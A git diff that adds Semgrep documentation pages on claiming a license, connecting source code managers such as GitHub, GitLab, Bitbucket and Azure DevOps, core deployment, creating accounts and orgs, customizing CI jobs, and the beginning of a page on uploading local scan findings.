+description: "Once you've purchased a subscription, you should receive an email from Semgrep with your license information. Follow the instructions provided in the email to claim your license and begin onboarding your Semgrep products."
+---
+
+
+## For license key holders or manual license claims
+
+
+**CAUTION**
+
+For **single-tenant** users, reach out to the [Semgrep Support Team](/support) directly. Please do not attempt to claim a license manually.
+
+
+If you have been provided a license key by Semgrep or if you would like to claim a license manually:
+
+
+
+ Sign up or log in to your Semgrep account.
+
+
+ [Create an org](/deployment/create-account-and-orgs/#initial-sign-in-to-semgrep-appsec-platform) if you haven't already done so.
+
+
+ Navigate to `http://semgrep.dev/orgs/-/settings/upgrade/YOUR_LICENSE_KEY`, making sure that you **replace** the `YOUR_LICENSE_KEY` placeholder with your license key value.
+
+
diff --git a/mintlify-docs/deployment/connect-scm.mdx b/mintlify-docs/deployment/connect-scm.mdx
new file mode 100644
index 0000000000..87e77179eb
--- /dev/null
+++ b/mintlify-docs/deployment/connect-scm.mdx
@@ -0,0 +1,510 @@
+---
+title: "Connect a source code manager"
+---
+
+
+**YOUR DEPLOYMENT JOURNEY**
+
+- You have gained the necessary [resource access and permissions](/deployment/checklist) required for deployment.
+- You have [created a Semgrep account and organization](/deployment/create-account-and-orgs).
+
+
+Linking a source code manager provides the following benefits:
+
+- Allows the Semgrep org membership to be managed by GitHub or GitLab.
+- For GitHub users:
+ - Provides Semgrep access to post PR or MR comments.
+ - For GitHub Actions users: Enables you to add a Semgrep CI job to repositories in bulk.
+- Allows you to scan and manage your Azure DevOps and Bitbucket projects in Semgrep AppSec Platform.
+- Allows the Semgrep platform to generate hyperlinks to code in findings.
+
+If your organization uses both GitHub and GitLab to manage source code, log in with the source code manager that you would prefer to use to manage Semgrep org membership. You can still scan repositories from other sources, including Azure DevOps and Bitbucket, though you will need to use a separate SSO provider to manage the authentication of your users in such cases.
+
+The process to connect a source code manager depends on whether your SCM tool is cloud-hosted by the service provider, hosted on-premise, or hosted as a single tenant by the service provider.
+
+## Connect to cloud-hosted orgs
+
+If you opted to scan a GitHub or GitLab repository when you initially signed in, you may have already performed these steps and can skip to [Next steps](#next-steps).
+
+
+
+
+
+### Azure DevOps Cloud
+
+
+
+Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Optional: If you have created more than one Semgrep account, select the account you want to make a connection for by clicking on the **Navigation bar > Your account name > The account you want to connect**.
+
+
+
+
+
+Go to **Settings > Source code managers > Add > Azure DevOps**.
+
+
+In the **Connect your Azure DevOps Project** dialog box, provide:
+ - The **Name of your Azure DevOps Organization**.
+ - The **Name of your Azure DevOps Project**. The name of your Azure DevOps organization and project can be seen in the project URL, for example `https://dev.azure.com/organization/project`.
+ - Your **Access token**. See [User personal access tokens](https://learn.microsoft.com/en-us/azure/devops/organizations/accounts/use-personal-access-tokens-to-authenticate) for information on generating a token.
+
+
+Click **Connect** to save and proceed.
+
+
+The Azure DevOps project is now listed under **Source code managers**. Click **Test** to verify that the new connection is installed correctly.
+
+
+
+
+
+
+### Bitbucket Cloud
+
+
+
+Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Optional: If you have created more than one Semgrep account, select the account you want to make a connection for by clicking on the **Navigation bar > Your account name > The account you want to connect**.
+
+
+
+
+
+Go to **Settings > Source code managers > Add > Bitbucket Cloud**.
+
+
+In the **Connect your Bitbucket Workspace** dialog box, provide:
+ - The **Name of your Bitbucket Workspace**
+ - Your **Access token**. Semgrep requires a [workspace-level access token](https://support.atlassian.com/bitbucket-cloud/create-a-workspace-access-token/).
+
+
+Click **Connect** to save and proceed.
+
+
+The Bitbucket project is now listed under **Source code managers**. Click **Test** to verify that the new connection is installed correctly.
+
+
+
+
+
+
+### GitHub Cloud with GitHub SSO
+
+These steps are for users that sign in to Semgrep through GitHub.
+
+
+
+Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Optional: If you have created more than one Semgrep account, select the account you want to make a connection for by clicking on the **Navigation bar > Your account name > The account you want to connect**.
+
+
+
+
+
+From the **Navigation bar**, click **Settings > Source code managers**.
+
+
+Click **Add > GitHub**.
+
+
+Review the permissions requested by Semgrep, then click **Continue**.
+
+
+Click the organization you want to install Semgrep on.
+
+
+Choose to authorize and install Semgrep for **All repositories** or **Only select repositories**.
+
+
+Click **Install and authorize**.
+
+
+After a successful link, you are signed out of Semgrep AppSec Platform automatically, as your credentials have changed after linking an organization.
+
+
+Sign back in to Semgrep AppSec Platform.
+
+
+
+If you'd like to connect multiple GitHub orgs, use the instructions for [GitHub Cloud with non-GitHub SSO](#github-cloud-with-non-github-sso).
+
+### GitHub Cloud with non-GitHub SSO
+
+These steps are for users who:
+
+- Sign in to Semgrep through a **non-GitHub** SSO provider
+- Have connected to a GitHub org already, but want to add additional GitHub connections
+
+You can connect to GitHub using Semgrep's GitHub app and one of the following: a personal access token or your individual GitHub account.
+
+
+
+Navigate to the following link: [Semgrep GitHub app](https://github.com/marketplace/semgrep-dev) and install the Semgrep GitHub app onto the GitHub org you want to connect to.
+
+
+Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login) using your non-GitHub SSO provider.
+
+
+From the **Navigation bar**, go to **Settings > Source code managers**.
+
+
+Click **Add > GitHub**.
+
+
+In the **Connect your GitHub Organization** modal, enter the name of your GitHub organization. Then, either:
+ - Enter a GitHub personal access token and click **Connect**.
+ - Click the **Authenticate with GitHub** button without providing a token.
+
+
+Your GitHub organization is now listed under **Source Code managers**. Click **Test** to verify that the new connection is installed correctly.
+
+
+
+Alternatively, you can set up the [Semgrep GitHub app](https://github.com/marketplace/semgrep-dev). Then, [contact Support](/support#contact-support) and inform them which Semgrep account needs to be connected to the GitHub org. Support can help you finalize the connection.
+
+### GitHub Enterprise Cloud with data residency
+
+If your GitHub Enterprise instance contains many orgs, you must **choose an org** among your accounts that acts as the **owner** of the Semgrep App. As the owner, this org controls the settings and permissions granted to the app. Throughout the setup process, ensure that you select this org consistently when prompted.
+
+Perform the following steps to set up the connection:
+
+
+
+Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Optional: If you have created more than one Semgrep account, select the account you want to make a connection for by clicking on the **Navigation bar > Your account name > The account you want to connect**.
+
+
+
+
+
+From the **Navigation bar**, click **Settings > Source code managers**.
+
+
+Click **Add > GitHub Enterprise**.
+
+
+In the **Connect your GitHub Organization** dialog that appears, provide:
+ - The **Name of your GitHub Organization**
+ - The **URL** used to access the GitHub instance
+
+
+Add the Semgrep GitHub App:
+ i. Under **Enter GitHub information**, indicate that you want to install the app on your **Organization**, and select the **Organization name** where the app is installed. If you have multiple GitHub organizations that you'd like to use with Semgrep, ensure that you select the **Use for multiple GitHub orgs** box.
+ ii. Under **Select features to enable**, indicate whether you would like to grant code access to Semgrep.
+ iii. Review the permissions requested by Semgrep.
+ iv. Click **Register a Semgrep GitHub App**. Semgrep asks if you'd like to be redirected to GitHub to continue creating the app. Click **Continue** to proceed.
+ v. You are taken to your GHE instance and asked to name your app. You can choose whatever name you'd like, but Semgrep recommends that you name it something that indicates that this is the Semgrep GHE app.
+ vi. After you name your app, choose the GHE org you want to install it on.
+ vii. Select the org, then click **Install**.
+ viii. Wait for the installation to complete. When done, you are redirected to Semgrep.
+ ix. Verify the installation by navigating to **Settings** > **Source code managers**. Ensure that the entry for your GitHub organization shows a **Connected** badge.
+ x. In GHE, you should see the app listed as installed on the **GitHub Apps** page.
+ - You can click **Configure** to choose the repositories to which the app has access. Additionally, you can go to **App settings** to customize the permissions granted to the app.
+
+
+If you have additional GHE orgs you'd like to add, you can do so by repeating the previous steps 1-6.
+
+ At this point, you've successfully installed the GHE Semgrep App on the owner GHE org. In the future, other members of your GHE instance can install the app on their GHE orgs using the public link if they have the proper permissions. You can get the public link from GHE by going to **GitHub Apps** > **App settings**.
+
+ 
+
+
+
+#### Install the app for subsequent GitHub orgs
+
+You can install the Semgrep app onto additional GitHub orgs at any time. To do so:
+
+
+
+Go to the public link for the app. Click **Install**.
+
+ 
+
+
+
+Choose the GitHub org to which you want the app installed, and click **Install**.
+
+ 
+
+
+
+In the popup confirmation message, click **Install**.
+
+ 
+
+
+
+The GitHub org should now be listed under **Source code managers**.
+
+
+
+You have successfully connected Semgrep to your GitHub organization.
+
+
+
+
+
+### GitLab Cloud
+
+
+
+Create a PAT by following the steps outlined in this [guide to creating a PAT](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html). Ensure that the PAT is created with the required `api` scope.
+
+
+Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Optional: If you have created more than one Semgrep account, select the account you want to make a connection for by clicking on the **Navigation bar > Your account name > The account you want to connect**.
+
+
+
+
+
+Click **Settings > Source Code Managers > Add > GitLab Cloud**
+
+
+Enter the personal access token generated into the **Access token** field.
+
+
+Enter your GitLab group's name into the **Name of your GitLab Group** field. If your repositories are organized in subgroups, you only need to provide the name of the top-level group.
+
+
+Optional, but recommended: if you have multiple GitLab groups in your GitLab account, create a source code manager per group. Repeat steps 1, 3-4 for each GitLab group.
+
+
+The GitLab groups are now listed under **Source code managers**. Click **Test** to verify that the new connection is configured correctly.
+
+
+
+You have successfully connected an org in Semgrep AppSec Platform with an organization in your source code management tool.
+
+
+
+
+## Connect to on-premise orgs and projects
+
+
+
+
+
+### Bitbucket Data Center
+
+
+
+Create an HTTP Access Token for your project following the steps outlined in [Bitbucket Data Center documentation](https://confluence.atlassian.com/bitbucketserver/http-access-tokens-939515499.html). Ensure that the access token is created with `PROJECT_ADMIN` permissions.
+
+
+Copy the token for use in the next steps.
+
+
+Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Optional: If you have created more than one Semgrep account, select the account you want to make a connection for by clicking on the **Navigation bar > Your account name > The account you want to connect**.
+
+
+
+
+
+Go to **Settings** > **Source code managers**, and click **Add > Bitbucket Data Center**.
+
+
+In the **Connect your Bitbucket project (key)** dialog box, provide:
+ - The **Name of your Bitbucket project (key)**. This must be the project key, which you can find by navigating to `/projects`.
+ - The **URL** to access your installation of Bitbucket Data Center; this is your fully qualified domain name.
+ - The **Access Token** that grants Semgrep permission to communicate with your project. Semgrep expects an [HTTP access token](https://confluence.atlassian.com/bitbucketserver/http-access-tokens-939515499.html) with `PROJECT_ADMIN` permissions.
+
+
+Click **Connect** to save and proceed.
+
+
+The Bitbucket project is now listed under **Source code managers**. Click **Test** to verify that the new connection was installed correctly.
+
+
+To enable merge request comments, click **Incoming webhooks**.
+
+
+Optional: Click **Auto scan** to onboard all current and future repositories under your project to Semgrep Managed Scans.
+
+
+
+
+
+
+### GitHub Enterprise
+
+This section is applicable to users on a **GitHub Enterprise Server** plan.
+
+The **Semgrep App for GitHub Enterprise (GHE)** creates a connection between Semgrep
+and orgs in your GHE deployment. There are two primary installation steps:
+
+
+
+Install the Semgrep App for the first time using the GHE organization (org) that "owns" the app.
+
+
+Install the app for additional GHE orgs.
+
+
+
+#### Initial Semgrep App installation
+
+If your deployment contains many orgs, you must **choose an org** among your accounts that acts as the **owner** of the Semgrep App. As the owner, this org controls the settings and permissions granted to the app.
+
+Ensure that you have selected the intended owner by viewing the account name in the navigation bar:
+
+
+
+Choose another account by clicking the **account name** and selecting an account from the drop-down box. Then, perform the following steps to set up the connection:
+
+
+
+Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login/).
+
+
+Click **Settings** > **Source code managers > Add > GitHub Enterprise**.
+
+
+In the **Connect your GitHub Organization** dialog box, provide:
+ - The **Name of your GitHub Organization**
+ - The **URL** to access your deployment
+
+
+Click **Connect** to save your changes.
+
+
+In the **Add GitHub App** page that you're redirected to, ensure that:
+ - You've selected **Organization**.
+ - The **GitHub Organization name** is populated; if not, enter the name of your org.
+ - You've selected the **Use for multiple GitHub orgs (Enterprise-public app)** checkbox.
+
+
+Select the features you'd like enabled. Enabling PR comments, Multimodal recommendations, and Semgrep Managed Scans requires you to grant Semgrep Code Access, while enabling only PR comments does not.
+
+
+Review the permissions for the app; as the app owner, note that you can change these permissions later.
+
+
+Click **Register GitHub App** to proceed.
+
+
+You are taken to your GHE instance and asked to name your app. You can choose whatever name you'd like, but Semgrep recommends that you name it something that indicates that this is the Semgrep GHE app.
+
+
+After you name your app, choose the GHE org to which you want it installed.
+
+
+Select the org that you want to act as the owner of the app, and click **Install**.
+
+
+Wait for the installation to complete. When done, you will be redirected to Semgrep.
+
+
+Verify the installation by navigating to **Settings** > **Source code managers**. Ensure that the entry for your SCM shows a **Connected** badge.
+
+
+In GHE, you should see the app listed as installed on the **GitHub Apps** page.
+
+ 
+
+ You can click **Configure** to choose the repositories to which the app has access. Additionally, you can go to **App settings** to customize the permissions granted to the app.
+
+ 
+
+
+
+If you have additional GHE orgs you'd like to add, you can do so by repeating steps 2-15.
+
+
+
+At this point, you've successfully installed the GHE Semgrep App on the owner GHE org. In the future, other members of your GHE instance can install the app on their GHE orgs using the public link if they have the proper permissions. You can get the public link from GHE by going to **GitHub Apps** > **App settings**.
+
+
+ 
+
+#### Install the app for subsequent GHE orgs
+
+You can install the Semgrep app onto additional GHE orgs at any time. To do so:
+
+
+
+Go to the public link for the app shared with you by your admin. Click **Install**.
+
+ 
+
+
+
+Choose the GHE org to which you want the app installed, and click **Install**.
+
+ 
+
+
+
+In the popup confirmation message, click **Install**.
+
+ 
+
+
+
+The GHE org should now be listed under **Source code managers**.
+
+
+
+You have successfully connected Semgrep to your GitHub Enterprise Server.
+
+
+
+
+### GitLab Self-Managed
+
+This section is applicable to users with subscriptions to any **GitLab self-managed plan**.
+
+Connect Semgrep and GitLab Self-Managed accounts by creating a PAT and providing it to Semgrep using Semgrep AppSec Platform:
+
+
+
+Create a PAT by following the steps outlined in this [guide to creating a PAT](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html). Ensure that the PAT is created with the required `api` scope.
+
+
+Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Optional: If you have created more than one Semgrep account, select the account you want to make a connection for by clicking on the **Navigation bar > Your account name > The account you want to connect**.
+
+
+
+
+
+Click **Settings > Source code managers > Add > GitLab Self-Managed** and enter the personal access token generated into the **Access token** field.
+
+
+Enter your GLSM base URL into the **URL** field.
+
+
+Enter your GitLab group's name into the **Name of your GitLab Group** field. If your repositories are organized in subgroups, you only need to provide the name of the top-level group.
+
+
+If you have multiple GitLab groups in your GitLab account, you need to create a source code manager per group. Repeat steps 1, 3-5 for each GitLab group.
+
+
+The GitLab groups are now listed under **Source Code managers**. Click **Test** to verify that the new connection is installed correctly.
+
+
+
+
+
+
+## Next steps
+
+- Optional: See [ SSO authentication](/deployment/sso) to set up user management through SSO.
+- You are ready to scan your org's repositories with Semgrep.
+
diff --git a/mintlify-docs/deployment/core-deployment.mdx b/mintlify-docs/deployment/core-deployment.mdx
new file mode 100644
index 0000000000..152f942540
--- /dev/null
+++ b/mintlify-docs/deployment/core-deployment.mdx
@@ -0,0 +1,108 @@
+---
+title: "Core deployment"
+description: "Semgrep can be set up to scan repositories of any size."
+---
+
+Once added to Semgrep, a codebase, repository, or subfolder within a monorepo is referred to as a **project**.
+
+**Deployment** refers to the process of integrating Semgrep into your developer and infrastructure workflows. Completing the deployment process provides you with the Semgrep features that meet your security program's needs.
+
+Deployment includes:
+
+- Running Semgrep scanners as part of your CI. These scans can be any combination of SAST (Static Application Security Testing), SCA (Software Composition Analysis), or Secrets, depending on your plan.
+- Managing team members' access and authentication.
+- Ensuring that Semgrep has sufficient access to your self-hosted source code manager (SCM), such as GitLab Self-Managed.
+
+Semgrep does not require code access to complete the core deployment process. Your code is not sent anywhere.
+
+
+**ARE THESE GUIDES FOR YOU?**
+
+- These guides outline procedures for the deployment of Semgrep as part of a security program. To try out Semgrep, refer to the [ Quickstart](/getting-started/quickstart) document.
+- Individual users can also use these guides to deploy Semgrep as part of their personal security.
+
+
+Many deployment features are set up through **Semgrep AppSec Platform**.
+
+Deployment does **not** include:
+
+- Customizing your SAST, SCA, or secrets scans
+- Custom rule writing
+- Triage
+
+For these features, refer to the **Scan and Triage** section in the navigation bar.
+
+### All Semgrep deployment features
+
+Semgrep supports many different technology stacks. Refer to the following table to evaluate which deployment features of Semgrep you can use based on your technologies.
+
+#### Core deployment
+
+These are the absolute minimum Semgrep features for any deployment.
+
+| Deployment feature | Notes |
+| :--- | :--- |
+| SAST scanning | Check that Semgrep:
Can scan your language and that the language's maturity matches your security needs. See Supported languages.
Provides rulesets that you can use out-of-the-box. See Semgrep Registry.
|
+| SCA scanning | Check that Semgrep either supports your manifest file or lockfile and package manager. |
+| Secrets scanning | Check that your services, such as Slack or Twilio, can be validated by Semgrep. Semgrep Secrets is available through Semgrep Sales, so you must Book a demo. |
+| SSO | Semgrep supports:
OpenID Connect or OAuth 2
SAML 2.0
|
+| Organizations | Semgrep can connect to orgs from GitHub and GitLab. Connecting an org enables Semgrep AppSec Platform to authenticate new users from the same org easily.
If you use Bitbucket or Azure Repos, you can use SSO to manage the authentication of your users, then add repositories for scanning through your CI provider. |
+| Scanning remote repositories through CI | Semgrep fully supports many popular CI providers. See Add Semgrep to CI. |
+| Managed Scans: scanning remote repositories in bulk without CI changes | An alternative method of scanning many repositories with Semgrep that doesn't require integration with your CI. Requires read access to user-selected repositories. See Add repositories to Semgrep in bulk. |
+| PR or MR comments | Semgrep can post PR or MR comments in the following SCMs:
GitHub
GitLab
Bitbucket
|
+
+#### Additional deployment features
+
+Useful features that you can add based on your tech stack. You can integrate these features further into your security workflows after some initial testing of your core deployment.
+
+| Deployment feature | Notes |
+| :--- | :--- |
+| Notifications | Semgrep can send notifications through the following channels:
Slack
Email
Webhooks
|
+| AI-assisted triage and remediation | Semgrep can give AI-assisted recommendations on whether a finding is a true or false positive as well as suggest code fixes for true positive findings. |
+| IDE integration | Encourage developers to run Semgrep in their IDE. Officially supported extensions include:
Microsoft Visual Studio Code
IntelliJ Ultimate IDEA
Emacs
|
+| API | Check that Semgrep's API meets your needs. See API docs. |
+
+
+## Core deployment process
+
+At the minimum, your deployment of Semgrep consists of the following steps:
+
+
+
+Each user of Semgrep has one account.
+
+
+Each Semgrep account can have many orgs. Orgs are logical groupings of related projects and users.
+
+
+ - For GitHub or GitLab users, you can connect your Semgrep org to the orgs in your source code manager (SCM). This means that any member of an org in your SCM can sign in to your Semgrep deployment.
+ - You can also use SSO to manage user authentication.
+
+
+This step ensures that your Semgrep deployment is up and running and that you receive **findings** of security issues in Semgrep AppSec Platform.
+
+
+
+ 
+
+
+
+
+To manage a large volume of users and projects, you may need to perform additional steps:
+
+- Role management
+- Tagging projects
+
+These steps are covered in the section [Deployment at scale](/category/deployment-at-scale).
+
+Team size isn't necessarily indicative of deployment needs. Features for large teams can be deployed for smaller teams as well, and are available on the Semgrep Team Tier.
+
+## Deploy Semgrep in phases
+
+It is recommended to finish the core deployment of Semgrep to a few repositories or departments in your organization first before attempting to deploy to the majority.
+
+This **initial phase** prepares you to deploy Semgrep to the rest of the organization. Organizational infrastructure can vary greatly and the initial deployment can help you identify and address issues so that they do not recur in a wider deployment.
+
+## Next steps
+
+Click **Next** to begin setting up your core deployment.
diff --git a/mintlify-docs/deployment/create-account-and-orgs.mdx b/mintlify-docs/deployment/create-account-and-orgs.mdx
new file mode 100644
index 0000000000..41c8d7e716
--- /dev/null
+++ b/mintlify-docs/deployment/create-account-and-orgs.mdx
@@ -0,0 +1,240 @@
+---
+title: "Create a Semgrep account and set up organizations"
+sidebarTitle: "Create an account"
+---
+
+
+
+**YOUR DEPLOYMENT JOURNEY**
+
+- You have gained the necessary [resource access and permissions](/deployment/checklist) required for deployment.
+
+
+Create a Semgrep account by signing in to Semgrep AppSec Platform with your GitHub or GitLab account. This enables you to:
+
+* Add the rest of your GitHub or GitLab organization (org) members to Semgrep.
+* Configure Semgrep to scan repositories in other source code managers, such as Bitbucket.
+
+
+**USING SSO FOR YOUR INITIAL SIGN-IN**
+
+Alternatively, reach out to [ sales@semgrep.com](mailto:sales@semgrep.com) to set up SSO. This removes the need to sign in through a GitHub or GitLab account if you don't have one.
+
+
+## Semgrep AppSec Platform
+
+Semgrep AppSec Platform is used to manage all Semgrep products, and it is where you can:
+
+- View and manage your Semgrep findings.
+- Customize how Semgrep scans your code.
+- Manage the users associated with your Semgrep organization.
+- Set up alerts and notifications, including Slack alerts, emails, and pull request or merge request comments pushed to your source code manager
+
+## Initial sign in to Semgrep AppSec Platform
+
+The following steps walk you through creating a **user account** and your first **organization**:
+
+
+
+
+To sign in using your GitHub account:
+
+
+
+Navigate to the [ Semgrep AppSec Platform login page](https://semgrep.dev/login/) and click **Sign in with GitHub**.
+
+
+Click **Authorize semgrep-app** to [grant Semgrep the needed permissions](/deployment/checklist#permissions) and proceed.
+
+
+Enter an **organization name** when prompted then click **Create new organization**. This organization name is typically the name of the org in GitHub that you want to connect Semgrep to. For individual users, this can also be a personal account.
+
+
+Either select a **scan environment** or click **Don't want to connect to anything yet?**
+
+ 
+
+
+
+If you selected a **scan environment**:
+
+ i. Follow the prompts to set up the scan.
+
+
+If you clicked **Don't want to connect to anything yet**:
+
+ i. Choose either **Skip setup** if you prefer not to scan anything yet or **See demo project** to view how Semgrep scans and presents findings from a demo `juice-shop` project.
+
+
+
+
+
+To sign in using your GitLab account:
+
+
+
+Navigate to the [ Semgrep AppSec Platform login page](https://semgrep.dev/login/) and click **Sign in with GitLab**.
+
+
+Click **Authorize** to grant Semgrep the needed permissions and proceed.
+
+
+Enter an **organization name** when prompted then click **Create new organization**. This organization name is typically the name of the org in GitLab that you want to connect Semgrep to. For individual users, this can also be a personal account.
+
+
+Either select a **scan environment** or click **Don't want to connect to anything yet?**
+
+ 
+
+
+
+If you selected a **scan environment**:
+
+ i. Follow the prompts to set up the scan.
+
+
+If you clicked **Don't want to connect to anything yet**:
+
+ ii. Choose either **Skip setup** if you prefer not to scan anything yet or **See demo project** to view how Semgrep scans and presents findings from a demo `juice-shop` project.
+
+
+
+
+
+You have successfully created an account, your first organization, and have optionally run your first scan.
+
+## Set up organizations
+
+Organizations (orgs) in Semgrep enable users to share access to, and management of, Semgrep resources such as findings and reports.
+
+Semgrep organizations can be **connected** to equivalent GitHub, GitLab, and SSO organizations, which enables users from those organizations to easily join your Semgrep deployment through their existing credentials.
+
+### Next steps for GitHub and GitLab users
+
+- Connect your Semgrep org to your GitHub or GitLab SCM. Refer to [ Connect a source code manager](/deployment/connect-scm) for steps.
+
+### Next steps for Bitbucket and Azure Repos users
+
+- Connect your Semgrep org to your Bitbucket Data Center project or your Azure DevOps project. Refer to [ Connect a source code manager](/deployment/connect-scm) for steps.
+- To add members to your Semgrep organization, set up [ SSO authentication](/deployment/sso).
+- You can also opt to scan a repository instead.
+
+## Appendices
+
+
+**NOTE**
+
+These sections are helpful, but are not necessary to set up a deployment.
+
+
+### How Semgrep organizations work
+
+Users can have more than one organization, and an organization can consist of one or many user accounts. Users must belong to at least one organization when they first sign in to Semgrep.
+
+Organizations can be as small as a single user in a department, or encompass whole companies.
+
+By default, orgs do not manage any authentication or repositories. You add resources and users to an org by connecting to an SCM or SSO, or setting up a Semgrep scan.
+
+Once you have connected to your SSO or SCM, any team member from your GitHub, GitLab, or SSO organization can sign in to Semgrep. This includes developers not part of your security team. To control which resources they are able to see or what policies they can change, configure their **role** through [ user access control features](/deployment/teams/overview).
+
+### Create additional orgs
+
+After you create your first org, you can create multiple orgs to group related resources together:
+
+
+
+In Semgrep AppSec Platform, click the drop-down box with your organization name, located at the sidebar.
+
+
+Click **Add org**.
+
+
+Click **Create an organization**.
+
+
+In the popup, provide an **Organization display name**.
+
+
+
+### Organization setup examples
+
+The following examples illustrate what a completed organizational set-up can look like.
+
+#### Single-user organization in GitLab
+
+- In this example, a single GitLab user, `john-doe`, has a Semgrep org account with the same name.
+- He has set up his CI workflow to scan `repo-A` and `repo-B` in his GitLab account. The CI job sends scan results (findings) to Semgrep AppSec Platform.
+- This is similar to a **personal account** in GitHub or GitLab.
+
+
+ 
+
+
+#### Enterprise org with SSO and multiple orgs in GitHub
+
+In this example, a `parent-company` has multiple `subsidiaries`, and wants to use SSO for user authentication:
+
+- Each `subsidiary` is its own GitHub organization.
+- The security team is responsible for all `subsidiaries` in `parent-company`. Thus, the security team is a part of all `subsidiaries`.
+- The `parent-company` enforces SSO for all of its `subsidiaries`.
+- Here, membership and repository scanning are separately managed by two different services.
+
+The Semgrep deployment could look like this:
+
+- Each GitHub org has a corresponding Semgrep org.
+- The security team has configured SSO for each Semgrep org.
+ - This means that `team-member-R` can also access `subsidiary-1-org`. The resources they are able to view or change can be constrained through **roles**.
+
+
+ 
+
+
+### Join an existing org
+
+Team members can join a Semgrep organization by logging in through the auth provider specified by your Semgrep admin:
+
+
+
+To join an existing org using your GitHub or GitLab credentials:
+
+
+
+Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login) with the account credentials specified by your admin.
+
+
+Follow the on-screen prompts to grant Semgrep the needed permissions and proceed. This creates your **personal** Semgrep account.
+
+
+Click the organization name displayed at the top of the **navigation bar** to expand the drop-down menu.
+
+
+Click **Add org > Join an organization**.
+
+
+Provide the name of the organization you'd like to join. Then, click **Join**.
+
+
+
+
+To join an existing org through your SSO provider:
+
+
+
+Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login) with the account credentials specified by your admin.
+
+
+You are automatically signed in to all organizations that your admin has set up for you.
+
+
+
+
+
+
+**TIP**
+
+Semgrep admins can also [send developers invites to join their Semgrep org](/deployment/teams/manage#invite-a-user-through-email).
+
+
+### Delete an existing org
+
+Reach out to [Support](/support) to delete an organization.
diff --git a/mintlify-docs/deployment/customize-ci-jobs.mdx b/mintlify-docs/deployment/customize-ci-jobs.mdx
new file mode 100644
index 0000000000..920660ec42
--- /dev/null
+++ b/mintlify-docs/deployment/customize-ci-jobs.mdx
@@ -0,0 +1,65 @@
+---
+title: "Customize your CI job"
+---
+
+
+**YOUR DEPLOYMENT JOURNEY**
+
+- You have gained the necessary [resource access and permissions](/deployment/checklist) required for deployment.
+- You have [created a Semgrep account and organization](/deployment/create-account-and-orgs).
+- For GitHub and GitLab users: You have [connected your source code manager](/deployment/connect-scm).
+- Optionally, you have [set up SSO](/deployment/sso).
+- You have successfully added a [Semgrep job](/deployment/add-semgrep-to-ci) to your CI workflow.
+
+
+Customize your CI job to achieve the following goals:
+
+* **Run Semgrep on a schedule**. Run full scans on main or trunk branches at the least intrusive time on developer teams.
+* **Run Semgrep when an event triggers**. Run Semgrep when a pull request or merge request (PR or MR) is created.
+- **Set a timeout to increase or decrease Semgrep's overall runtime.** If scans are taking too long, or rules aren't running, customize your per-rule timeout.
+
+
+## Set up diff-aware scans
+
+
+**INFO**
+
+Follow the steps in this section only for the following CI providers:
+
+- Jenkins
+- CI providers without guidance from Semgrep AppSec Platform
+
+
+Some Semgrep CI jobs require manual configuration of diff-aware scans, which scan pull requests or merge requests in feature branches. For the CI providers outlined in the preceding list, you can configure a diff-aware job by performing the following steps:
+
+1. Create a separate CI job following the steps in [Add Semgrep to CI through Semgrep AppSec Platform](/deployment/add-semgrep-to-ci/#add-semgrep-to-ci-1).
+1. Set the `SEMGREP_BASELINE_REF` variable in your CI configuration file. The value of this environment variable is typically your trunk branch, such as `main` or `master`.
+
+## Set a scan schedule
+
+The following table is a summary of methods and resources to set up schedules for different CI providers.
+
+| CI provider | Where to set schedule |
+| :--- | :--- |
+| GitHub Actions | See [Sample CI configs](/semgrep-ci/sample-ci-configs#sample-github-actions-configuration-file) for information on how to modify your `semgrep.yml` file |
+| GitLab CI/CD | Refer to [GitLab documentation](https://docs.gitlab.com/ee/ci/pipelines/schedules.html) |
+| Jenkins | Refer to [Jenkins documentation](https://www.jenkins.io/doc/book/pipeline/running-pipelines/#scheduling-jobs-in-jenkins) |
+| Bitbucket Pipelines | Refer to [Bitbucket documentation](https://support.atlassian.com/bitbucket-cloud/pipeline-triggers/) |
+| CircleCI | Refer to [CircleCI documentation](https://circleci.com/scheduled-pipelines#get-started-with-scheduled-pipelines-in-circleci) |
+| Buildkite | Refer to [Buildkite documentation](https://buildkite.com/pipelines/scheduled-builds) |
+| Azure Pipelines | Refer to [Azure documentation](https://docs.microsoft.com/en-us/azure/devops/pipelines/process/scheduled-triggers?view=azure-devops&tabs=yaml) |
+| Semaphore | Refer to [Semaphore documentation](https://docs.semaphore.io/using-semaphore/tasks) |
+
+## Set a custom timeout
+
+By default, Semgrep spends a maximum of **5 seconds** to scan with **each rule** on each %%targeted|scan_target%% file. To **set a different timeout**, set the `SEMGREP_TIMEOUT` environment variable (the value is in seconds). Decreasing this value speeds up your scans, but with the possibility of skipping some rules. Alternatively, increasing this value ensures that your most complex rules finish running. For example:
+
+```bash
+SEMGREP_TIMEOUT="3" # Sets the per-rule timeout to 3 seconds.
+```
+
+
+**CAUTION**
+
+Setting this variable to **0** removes the time limit, meaning that rules can take any amount of time to run. This is not recommended.
+
diff --git a/mintlify-docs/deployment/local-to-scp-scans.mdx b/mintlify-docs/deployment/local-to-scp-scans.mdx
new file mode 100644
index 0000000000..738dcd2bd3
--- /dev/null
+++ b/mintlify-docs/deployment/local-to-scp-scans.mdx
@@ -0,0 +1,138 @@
+---
+title: "Scan local repositories and upload findings"
+sidebarTitle: "Upload local scan findings"
+---
+
+
+You can send findings (scan results) from a local repository to Semgrep AppSec Platform. The local repository is a separate **project** from its remote counterpart. This is useful for testing rules and policies, or simply scanning your own work before it is merged to your organization's trunk branch.
+
+## Prerequisites
+
+- Locally installed `semgrep`.
+
+## Best practices
+
+You can keep your local scans private and separate from your team by creating a Semgrep organization with only a single user. This is a **personal** org, similar to a personal account in your source code manager (SCM). This separation ensures that your findings data does not affect organizational records and trends.
+
+To create an org, perform the steps in [Create additional orgs](/deployment/create-account-and-orgs#create-additional-orgs). You don't need to perform any other steps.
+
